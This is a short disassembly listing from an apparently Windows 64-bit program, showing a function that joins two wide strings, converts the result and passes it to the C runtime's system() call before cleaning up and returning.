movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
lea rax, [rbp - 0x60]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x1400e8ed0
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x48]
call fcn.140089be0
nop
nop dword [rax]
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x1400e8ef0
mov r8, rbx
mov rdx, rdi
lea rcx, [rbp - 0x48]
call fcn.140088c90
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova rdx, qword [rbp - 0x48]
mov rax, qword [rbp - 0x38]
lea r8, [rdx + rax*2]
lea rdx, [rbp - 0x48]
cmova rdx, qword [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.1400d90d0
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova rcx, qword [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x28]
call fcn.14003d760
nop
lea rcx, [rbp - 0x48]
call fcn.140089450
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140146930
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret